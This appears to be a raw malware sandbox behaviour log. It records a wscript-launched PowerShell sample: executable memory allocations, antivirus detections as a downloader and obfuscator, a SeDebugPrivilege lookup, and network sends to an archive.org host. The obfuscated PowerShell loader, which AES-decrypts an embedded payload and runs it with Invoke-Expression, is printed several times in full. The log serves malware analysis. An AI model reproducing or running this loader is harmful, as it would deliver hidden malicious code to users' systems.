allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ac9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02acb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02acc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02acd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ace000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02acf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05110000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05111000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05112000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05113000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2224
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05114000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Skyhigh BehavesLike.JS.Exploit.mm
Symantec ISB.Downloader!gen81
NANO-Antivirus Trojan.Script.Heuristic-js.iacgm
huorong VirTool/PS.Obfuscator.d
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvf©‘Ô† â´ ‚ kž^Èx$/nOiêÈ¡úûp å /5 ÀÀÀ À 285ÿia601606.us.archive.org  
Data sent zvf©‘Ôž¡àö¯X çóÍýó&Ñ\ßÏõ 9nÿó/5 ÀÀÀ À 285ÿia601606.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

 buffer: zvf©‘Ô† â´ ‚ kž^Èx$/nOiêÈ¡úûp å /5 ÀÀÀ À 285ÿia601606.us.archive.org  
socket: 1312
sent: 127
1 127 0

send

 buffer: zvf©‘Ôž¡àö¯X çóÍýó&Ñ\ßÏõ 9nÿó/5 ÀÀÀ À 285ÿia601606.us.archive.org  
socket: 1312
sent: 127
1 127 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4hoc+21AeuSho2WWxKkxHJIawBsfIovZ++Y8aFSCd7+WPj8BZTeVAmltAKg+Kc0MGTRHx1WgZyWfygHPbXpzgw+Suz2ez+VzhWvNwFD7zDixFxU81Grt0DBDws18p4H0TR0yn971AH9s0S7bH1I86zfTmrx0AQbm228RDkk6e4QIcGkmcyqk60qhdsbhGscuyJpLrdvMvkbTVGsQgPUmAfe9HFpZLoswZyUybqg9ubmrDf6/EuaCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIQz4s3jZKq8HKCm5Rvw4bJG+TjuDH4PaRcKQnB98jPoj+kwprT9X724J9e0vbxSH9zH7q0Q0T3ZEgIMi1ACQjVGiJAOwQsY34IZXTd8Dl0KWVeAA4v61JteG0VS4WxU/c0tkpJ1LUGb4M8wCk0LWePTa+SLHtjep//fDzCPTErLqoiRtKO9ILfuOKh+bsIbfGoqZEBiOz3UWkJl9uyBluW56cGFdgH4LtgmMkBPWyDJZutwRiJYq21xFwEiZ0bBKrGtopF0upGXcTAhzcU04UrChnK4x/UADw6BGmgDjtS52Buz/jeGcLEI/5pZLAHbpjdeONQaZG2z7r8b8R2vmPn0LiYn3Y4to4EjHwbrqj6Rsn4P9glfnt4a7rxGKVGg3RqWpqmtK9W2jOvm1AMk3T9FpXnv1SU7s297P2NWXamBeGgoB3imuJh79KyVZEGSslneT1TNKaTCM7wNBO7wUVy4n6GHPXaprFgopyUFJEj3x8uYpjJHtVoFu+sM04Z+bX3p6jNBL1MdkHLKRXTGTYM6y6txlcpWdiEu73Xoe484HX9AVvt6jK7BBlNzpmHY9mgl1w5wG8QVR6BuLDmPr6IaFdfOM5JFVxgO6k8JuKSb7nvigjJAtVL315cwQWuDSE1HzlNSTMZttDMkw6r/F3HIaSVq+XnzjOW/634S+fjwKIOQHzZMfHxZr1WkqSlk5VqzpsuUPfFO3TJscnZVBGoSHiL2+0yi1MOKcBXtm3bp8wYW5WAJw656zr7hrZEAHO0Dl45d82Qfq/oTQJtiq35oFYD8f4J0eQJw38O/6nWtJk8dS3xVefE0Vthh7NiBGk6wv8oKkisYNVSlTpG+QiCZITICP0QfROr6fyXVzvDcEM1fNCvfyFfmkm1xj0tM4rcdSAcrY2UrC12S5+sIe0fE1E1i1PeyPRo8jMRv8qDIVT032No29xv99pt/P5LTDKbfR7FhlaXn2VYEMG8l2QnvzTPyz3i4qbawe72SkP4yu6hqMcQNxn1V1LeQsfgJXiOA2nlGzxlz3mP4h